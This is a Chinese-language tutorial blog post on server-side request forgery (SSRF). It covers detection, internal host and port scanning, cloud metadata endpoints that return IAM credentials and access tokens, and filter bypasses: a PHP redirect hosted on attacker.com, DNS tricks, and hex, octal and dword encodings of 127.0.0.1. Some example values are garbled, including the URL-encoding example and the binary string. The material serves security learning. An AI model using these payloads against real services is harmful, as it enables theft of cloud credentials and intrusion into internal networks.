一文拿下SSRF攻击利用及绕过保护机制

2020-07-24 14:23:37 浏览数 (1)

前言:

断断续续地继续漏洞之旅,这次讨论一下一个常见web漏洞:SSRF,浅析一下它是如何导致攻击者进入网络,以及如何发现它并且利用。

SSRF简介:

SSRF(服务器端请求伪造)是攻击者能够代表服务器发送请求时产生的漏洞。它允许攻击者“伪造”易受到攻击服务器的请求签名,从而在web上占据主导地位,绕过防火墙控制并获得对内部服务的访问权限。

对于SSRF,存在两种类型的SSRF漏洞:常规SSRF和盲SSRF。

首先要明确的一点是这两种漏洞背后的机制是相同的:它们都利用同一网络上的计算机之间的信任。

唯一的区别是,在盲SSRF中,攻击者无法通过HTTP响应或错误消息从服务器接收反馈(就像上面示例中显示的admin_panel.example.com一样)。虽然这提高了数据泄露和网络嗅探的门槛,但盲SSRF对于攻击者来说仍然非常有价值。

该如何测试SSRF:

发现SSRF漏洞最好的方法是手动审查代码,以查看是否所有URL输入都经过了验证。

但是,很多时候当源代码不可用并且不可能进行完整的代码审查时,应该将工作重点放在测试最容易出现SSRF的相关功能上。

比如,当服务器需要外部资源时,就可能会发生SSRF。

有时Web应用程序需要从图像的URL创建缩略图,或者从其他站点创建视频的屏幕截图。

如果服务器不限制对内部资源的访问,就会出现SSRF漏洞。

像public.example.com上的以下页面就允许用户从Internet上传个人资料照片:

https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg

当从google.com获取cutpugs.jpeg时,Web应用程序必须访问google.com并从google.com中检索内容。

如果服务器不区分内部和外部资源,攻击者就可以轻松地发出请求:

https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

然后使web服务器向攻击者的web服务器显示包含密码的文件。

这里列举几个经常易受SSRF攻击的功能,包括Web hook、通过URL上传文件、文档和图像处理、链接扩展和代理服务(因为这些功能都需要访问和获取外部资源)。

所以这里就有必要测试任何用户提供的URL的端点,对SSRF的测试通常从提供带有内部地址的URL输入开始。

根据常用的网络配置,可能需要尝试几个不同的地址。以下是一些可以先尝试的IP地址:

127.0.0.0/8

192.168.0.0/16

10.0.0.0/8

注:这里提供一个指向其他保留IP地址的参考链接

(https://en.wikipedia.org/wiki/Reserved_IP_addresses)

接下来继续探讨一下两者的区别,在常规SSRF的情况下,查看服务器是否返回显示有关内部服务的任何信息的响应。

服务器响应是否包含内部页面的服务信息或HTML内容?

发出请求:

https://public.example.com/upload_profile_from_url.php?url=127.0.0.1:22

服务器响应为:

Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2Ubuntu-4ubuntu2.4

而在盲SSRF的情况下,尝试确认通常会打开和关闭的端口之间的服务器响应是否存在差异(注:端口80和443是通常打开的端口,而端口11则是关闭的端口)。

这里就要特别注意服务器的响应时间和HTTP响应代码之间的差异。

例如,下面的请求导致HTTP状态代码为200(注:“正常”的状态代码)。

https://public.example.com/webhook?url=127.0.0.1:80

而下面的请求导致HTTP状态代码500(注:“内部服务器错误”的状态代码)。

https://public.example.com/webhook?url=127.0.0.1:11

由此差异性判断,我们可以确认SSRF存在,并进一步推断服务器上的端口80是打开的,端口11是关闭的。

以下是指向一些常见端口及其相关服务的链接:

(https://packetlife.net/media/library/23/common-ports.pdf)

(pdf内容如下图)

到这里,我想各位对SSRF有一个基本的了解了,接下来就开始学习一下如何利用SSRF。

- 那么攻击者究竟可以利用SSRF漏洞做什么?

- 嗯,这通常取决于受攻击网络上提供的具体内部服务。

几种利用SSRF漏洞的常见方法:

首先你需要先找到一个SSRF漏洞,然后怎么办呢?之前了解过,SSRF漏洞可用于:

直接扫描网络中的主机,

端口扫描内部机器和指纹识别验证等,

收集实例源数据,

泄露敏感数据,

绕过访问控制,

甚至在可访问的机器上执行恶意代码。

先说网络扫描,首先,SSRF可用于扫描网络以查找其他可访问的计算机。

这是通过向易受攻击的端点提供一系列内部IP地址(之前提到过)

https://en.wikipedia.org/wiki/Reserved_IP_addresses

并查看服务器对每个地址的响应状态是否不同来实现的。

利用服务器响应行为的差异,我们可以收集有关该服务器网络结构的相关信息。

例如,当发出请求:

https://public.example.com/upload_profile_from_url.php?url=10.0.0.1

服务器响应为:

Error: cannot upload image: http-server-header: Apache/2.2.8(Ubuntu) DAV/2

当发出请求:

https://public.example.com/upload_profile_from_url.php?url=10.0.0.2

服务器响应为:

Error: cannot upload image: Connection Failed

由此对比,我们可以推断10.0.0.1是网络中有效主机的地址,而10.0.0.2不是。

第二,端口扫描和服务指纹识别。

SSRF还可用于端口扫描网络计算机并显示这些计算机上运行的内部服务。

打开的端口为机器上运行的服务提供了一个很好的指示器,因为服务具有运行它们的默认端口,并且端口扫描结果会将攻击者指向需要手动检查的端口。

这将帮助攻击者有计划地针对找到的服务量身定做进一步攻击方案。

首先为易受攻击的端点提供已识别的内部计算机的不同端口,并确定端口之间的服务器响应行为是否存在差异。

这与扫描主机的过程相同,除了这一次,攻击者还要切换掉端口号,

(注:端口号范围为0到65535。)。

例如,当攻击者向内部服务器上的端口80发送请求时(如10.0.0.1:80),

服务器响应为:

Error: cannot upload image: http-server-header: Apache/2.2.8(Ubuntu) DAV/2

当攻击者向同一服务器上的端口11发送请求时(如10.0.0.1:11),

服务器响应为:

Error: cannot upload image: Connection Failed

我们可以推断服务器上的端口80是打开的,而端口11没有打开,这一步在之前已经重复过两次了,想必已经很熟悉了。

第三,是拉取实例源数据。

先扫盲一下,Amazon Elastic Compute Cloud(简称Amazon EC2)是一项允许企业在公共云中运行应用程序的服务。

它有一项名为“实例源数据”的服务。这让EC2实例能够访问返回关于实例本身的数据API(在地址169.254.169.254上)。

Google Cloud上还提供了类似于EC2的实例源数据API服务。

默认情况下,这些API端点是可访问的,除非网络管理员专门阻止或禁用它们。

这些服务暴露的信息通常是极其敏感的,可能会允许攻击者将SSRF升级为严重的信息泄漏和RCE(远程代码执行)。

那如何查询AWS EC2源数据呢?

如果一家公司在Amazon EC2上托管其基础架构,攻击者可以使用以下端点查询有关该主机的各种实例源数据:

http://169.254.169.254/latest/meta-data/

这些端点会泄露API密钥、AWS S3令牌和密码等敏感信息。

以下是一份来自亚马逊的完整文档,

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

这里筛选出几个特别有用的:

http://169.254.169.254/latest/meta-data/ returnsthe list of available metadata that you can query.

http://169.254.169.254/latest/meta-data/local-hostname/ returnsthe internal hostname used by the host.

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME returnsthe security credentials of that role.

http://169.254.169.254/latest/dynamic/instance-identity/document revealsthe private IP address of the current instance.

http://169.254.169.254/latest/user-data/ returnsuser data on the current instance.

接着再查询Google Cloud源数据。

如果被攻击方使用Google Cloud,攻击者就可以尝试查询Google实例源数据API。Google为其API端点实施了一些额外的安全措施,故查询Google Cloud Metadata APiv1需要特殊的标头:

“Metadata-Flavor:Google” or “X-Google-Metadata-Request:True”

但是,这种保护可以很容易地绕过,因为可以通过API v1beta1端点访问通过APIV1访问的大多数端点。

并且APIv1beta1没有相同的头部要求。

以下是Google提供的API的完整文档。

https://cloud.google.com/compute/docs/storing-retrieving-metadata

下面列出首先要关注的几个关键信息:

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token returnsthe access token of the default account on the instance.

http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-key returnspublic SSH keys that can connect to other instances in this project.

当然,亚马逊和谷歌并不是唯一提供元数据API的网络服务,国内还有服务商提供,但是这两个平台拥有相当大的市场份额,所以攻击者正在测试的公司很可能是在这些平台中的一个平台上。

如果没有,笔者还列出了其他云元数据服供你参考尝试:

https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb

OK,我们已经讲了扫描网络中的主机,端口扫描内部机器和指纹识别验证等,收集实例源数据,接下来继续讨论一下泄露敏感数据,绕过访问控制和在可访问的机器上执行恶意代码。

(图片是一个简单直观的SSRF原理……)

之前扫描主机等步骤已经收集到了很多有用的信息,接下来就利用攻击者已经获取的信息继续。

现在,攻击者可以使用那些获取的信息,即通过扫描网络、识别服务和拉取实例源数据找到的内容,进一步尝试实现以下事情:

第一,泄露敏感信息数据:

如果攻击者能够使用SSRF找到相关凭据,则可以使用这些凭据访问存储在网络上的敏感信息。

比如,如果攻击者能够找到AWS S3密钥,那么可以尝试查看该公司的私有S3存储库,看看是否已经有权限访问这些存储库。

第二,绕过访问控制:

某些内部服务可能仅根据IP地址或内部标头控制访问权限,所以攻击者只需从受信任的计算机发送请求,就有可能绕过对敏感功能的访问控制。

第三,执行(恶意)代码:

攻击者可以使用收集的信息将SSRF转换为RCE。

比如,如果攻击者找到授予其可以写入权限的管理员凭据,就可以尝试提权。

或者,如果攻击者发现一个安全机制不健全的管理面板,那是否有允许执行任何脚本的功能?

如果运气再好一点,更令人兴奋的是,也许攻击者可以以root身份登录!

(笑出猪叫……)

那么点到为止,上面大篇幅多是常规SSRF的利用操作,接下来,就盲SSRF进行简单的对比讨论。

首先,我们已经知道盲SSRF是不会从目标服务器得到响应或错误消息的SSRF,所以盲SSRF的利用通常仅限于网络映射、端口扫描和服务查看。

由于攻击者不能直接从目标服务器提取信息,因此利用盲SSRF在很大程度上依赖于演绎。

利用HTTP状态代码和服务器响应时间,攻击者可以获得与常规SSRF类似的结果。

使用HTTP状态码扫描网络和端口:

比如,当攻击者发送以下请求时,结果是HTTP状态代码为200(“正常”的状态代码)。

https://public.example.com/webhook?url=10.0.0.1

而下面的请求导致HTTP状态代码500(“内部服务器错误”的状态代码)。

https://public.example.com/webhook?url=10.0.0.2

由此可以推断10.0.0.1是网络中有效主机的地址,而10.0.0.2不是。(与前面类似)

同样,使用盲SSRF进行端口扫描的工作方式与此相同:

如果服务器为某些端口返回200状态代码,为其他端口返回500状态代码,则产生200状态代码的端口可能是机器上打开的端口。

其次,使用服务器响应时间扫描网络和端口:

如果服务器没有以状态代码的形式返回任何有用的信息,那也不用担心,攻击者可能仍然可以通过检查服务器响应攻击者发出的请求所需的时间来确定这些网络结构。

如果服务器对某些地址的响应时间要长得多,则可能表示这些网络地址未路由或隐藏在防火墙后面。

另一方面,如果路由器立即丢弃请求,异常短的响应时间也可能指示未路由的地址。

而最后一种情况,如果服务器对某些端口的响应时间要长得多,等的花都谢了,好吧,那这可能表明这些端口是关闭的。

看看这张Jobert在Hackerone博客上

(https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)上发布的图表。

它很好地概述了网络的运行方式:(全英文……好吧看看就好了)

继续我们的话题,攻击者在执行任何类型的网络或端口扫描时,最最最重要的是要记住易受攻击的计算机响应行为的不同,关键是要查找行为上的差异,而不是上面描述的特定签名。

然后,是向外部服务器泄露敏感信息:

这个是很惯用的操作,目标计算机可能泄露出站请求中的敏感信息,例如所用软件的内部IP、标头和版本号。

攻击者会尝试向易受攻击的端点提供其拥有的服务器的地址,看看可以从传入的请求中能够提取出什么。

最后,就SSRF利用做个补充:

这里提供一个利用SSRF的链接,

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#heading=h.kwcnj7jh5zyy

它里面讨论了更多有关利用SSRF的方法。

学习了如何利用,接下来才是重头戏,如何绕过SSRF的保护机制,笔者来进一步探讨攻击者如何利用SSRF拥有公司网络的例子。

(这是无意间找到的之前泄露信息示意图……请自行对号入座哈)

提到绕过SSRF保护,攻击者会有更多的准备工作,笔者一一带你深入。

首先,我们整理下之前利用SSRF的技能,假设攻击者已经在Web应用程序上找到了获取外部资源的功能,并且可以从各种外部站点获取内容,还可以请求任意文件类型都没有任何限制。

对于这些信息,web应用程序会将所有内容直接显示在攻击者面前,这个端点上的一切都已经臣服在攻击者的脚下,所以,现在SSRF的时机已经成熟!

现在,攻击者开始输入魔术数字:127.0.0.1。

但是仅仅过了一秒钟,服务器就返回了一个意外的响应:

Error. Requests to this address are not allowed. Please tryagain.

好吧,mmp,高兴太早了……那现在该做什么?

很明显,攻击者遇到了SSRF保护机制,被攻击的公司已经真正意识到了SSRF漏洞攻击的风险。

因此,大多数服务都在其Web应用程序上实现了某种形式的SSRF保护。

其中有两种主要类型的SSRF保护机制:黑名单和白名单。

黑名单是指如果将列入黑名单的地址作为输入接收,则不允许某些地址并阻止请求的做法。大多数SSRF保护采用将内部网络地址块列入黑名单的形式。

另一方面,白名单意味着服务器将只允许通过包含预先指定列表上的URL的请求,而使所有其他请求失败。

首先尝试绕过白名单。

先打个预防针,白名单通常更难绕过,因为默认情况下,它们比黑名单更严格。

但是,如果白名单域内存在开放重定向漏洞,则可能会出现这种情况。

如果攻击者可以找到打开的重定向,则可以请求重定向到内部URL的白名单URL。

如果白名单没有正确实现(比如,设计糟糕的正则表达式),或者也可以使用一个子域或目录作为白名单域名(比如,Vicent.com.attacker.com或attacker.com/aggenger.com)。

然后尝试绕过黑名单。

但是,由于应用程序要求(获取外部资源),大多数SSRF保护机制都是以黑名单的形式出现的。

如果攻击者对上了黑名单,欺骗服务器的方法就有很多种了:

可以用重定向“玩弄”它。

使服务器发出请求到攻击者控制的URL,该URL重定向到列入黑名单的地址。

举个栗子,攻击者可以在Web服务器上托管包含以下内容的文件:

<?php header(“location: http://127.0.0.1"); ?>

假设此文件托管在 http://attacker.com/redirect.php 上。

这样,当攻击者发出目标服务器请求 http://attacker.com/redirect.php 时,目标服务器实际上会被重定向到 http://127.0.0.1,一个受限的内部地址。

用DNS欺骗它。

修改攻击者控制的域的A/AAAA记录,使其指向受害者网络的内部地址。

比如,假设 http://attacker.com 是攻击者拥有的子域。

那么攻击者可以创建自定义主机名到IP地址的映射,并将

http://subdomain.attacker.com 解析为 127.0.0.1。

现在,当目标服务器请求 http://attacker.com,时,它会认为攻击者的域位于127.0.0.1,并从该地址请求数据!

使用IPv6地址。

尝试使用IPv6地址而不是IPv4。因为为IPv4实现的保护机制可能没有为IPv6实现。

关闭编码。

了解协议或密码学的童鞋知道,有许多不同的编码URL或地址的方法,这些方法不会改变服务器解释其位置的方式,但可能会让它在黑名单的“雷达”监视下溜走。

这些编码包括十六进制编码、八进制编码、双字编码、URL编码和混合编码等。

十六进制编码:

十六进制编码是一种表示16进制格式(字符范围从0到F)的字符,而不是10进制(十进制,字符范围从0到9)的字符。

原来那里的服务器可以理解十六进制编码的IP地址。

要将十进制格式的IP地址转换为十六进制,攻击者需要将IP地址的每个部分计算为其十六进制等效值。

这里有一个例子:

127.0.0.1 translates to 0x7f.0x0.0x0.0x1

每个部分开头的“0x”将其指定为十六进制数字。

八进制编码:

八进制编码是以8为基的格式表示字符的一种方式。

与将地址转换为十六进制格式的方式类似,攻击者可以通过重新计算IP地址的每个部分将IP地址转换为八进制形式。

例如,

127.0.0.1 translates to 0177.0.0.01

在这种情况下,必须使用前导零来表示该部分是一个八进制数。

双字编码:

“Dword”(汇编常见)代表“双字”,是一个32位的整数。

IP地址基本上是一个32位数字,分为四个二进制八位数(八位组),并以十进制格式写入。

例如,127.0.0.1实际上是01111111.00000000.00000000.00000001的十进制表示。

将整个数字(01111111000000000000000000000000000000000001)转换成一个十进制数时,就可以得到dword格式的IP地址。

那么dword中的127.0.0.1是什么呢?

这是 127x256³ 0*256² 0*256² 1*256⁰的答案,即2130706433。

(懵?掏出你的科学计算器,自己算一算)

这意味着如果攻击者输入 http://2130706433 而不是 http://127.0.0.1,服务器仍然可以理解。

非常香,对吧?

URL编码:

URL中的每个字符都可以由其指定的十六进制数字表示,如果它们前面有 % 符号的话。

比如,单词“localhost”可以用其URL编码的等价词

“localhost”表示。

因此,当服务器阻止对内部主机名(如“localhost”)的请求时,请尝试使用URL编码的等价码!

混合编码:

现在是混合编码时间,发挥攻击者想象力的时刻到了……

攻击者还可以使用编码技术的组合来尝试迷惑服务器:也许这会奏效?谁知道呢?实战实战吧!(无授权,不渗透!!!)

放个栗子镇压:

127.0.0.1 translates to 0177.0.0.0x1

总算写完了,做个简单的总结吧:

这只是攻击者庞大的武器库中可能存在的很一小部分旁路攻击,不同的思路一定会有很多更有创意的方法来绕过/破坏保护机制并实现SSRF。

当新人/攻击者找不到有效的旁路时,可以帮助逆向思考,切换视角,想想:如果是我自己,会如何实现此功能的SSRF保护机制?

然后,继续尝试绕过这种设计的保护机制。

END

References:

https://www.jianshu.com/p/612c010e588e

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#

https://medium.com/@vickieli/bypassing-ssrf-protection-e111ae70727b

https://portswigger.net/web-security/ssrf

https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface#aux

https://medium.com/swlh/intro-to-ssrf-beb35857771f

https://cloud.google.com/compute/docs/storing-retrieving-metadata

https://medium.com/@vickieli/exploiting-ssrfs-b3a29dd7437

https://xz.aliyun.com/t/2115

0 人点赞